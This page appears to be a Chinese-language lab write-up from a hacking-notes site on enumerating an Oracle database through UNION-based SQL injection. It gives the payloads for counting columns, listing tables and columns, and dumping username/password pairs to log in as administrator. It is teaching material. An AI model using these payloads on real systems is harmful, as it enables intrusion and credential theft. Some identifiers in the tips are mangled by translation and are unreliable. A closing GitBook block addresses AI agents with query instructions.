> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/database-enumeration-on-oracle.md).

# Oracle 数据库枚举

### SQL 注入攻击，列出 Oracle 中的数据库内容

* **上下文 / 漏洞：** `category` 过滤器易受 SQL 注入影响（结果在响应中返回）。使用 `ORDER BY` / `UNION` 允许枚举并从 Oracle 系统视图中提取数据。
* **目标：** 识别用户表，列出其列，提取 `username` / `密码` 配对并以……身份连接 `administrator`.

### 简明步骤（已提供有效载荷）

1. **确定列数**/ 测试 `ORDER BY` 逐步递增直到出错：

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```
2. 验证 UNION SELECT（列数与原始请求相同）：

```sql
' UNION SELECT '1','2'-- -
```

3. **列出表（Oracle）** — 使用 `ALL_TABLES`:

```sql
' UNION SELECT NULL, table_name FROM all_tables-- -
```

（根据 `NULL`易受攻击查询的列数进行调整。）

4. 列出已识别表的列（此处为 USERS/ JREIFY）：

```sql
' UNION SELECT NULL, column_name
  FROM all_tab_columns
  WHERE table_name = 'USERS_JREIFY'-- -
```

注意：Oracle 会将未以大写列出的名称标准化。

5. 提取内容（转储）— 已识别列示例：

```sql
' UNION SELECT USERNAME_SWTJLF, PASSWORD_NTBPBA
  FROM USERS_JREIFY-- -
```

调整顺序/类型；必要时使用 `TO_CHAR`, `CAST` 或 `NULL` 来匹配类型。

6. **管理员登录**

* 在登录页面使用已泄露的凭据。
* 或者，如有必要，在确认列后执行身份验证绕过。

有用的技术细节

* 如果由于类型不同导致 UNION 失败，请将列替换为 null 或 TO/ CHAR(col) 以强制兼容。
* 元数据视图（ALL/ TABLES、ALL/ TAB/ COLUMNS、DBA/ /\*）可能会受数据库账户权限限制；访问权限因应用程序权限而异。
* Oracle 通常要求在比较时使用大写名称 table/ name = 'USERS/ JREIFY'，除非该表是用引号创建的。

影响

* 标识符兼容性、权限提升、数据外传/修改、完全应用程序控制。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/database-enumeration-on-oracle.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.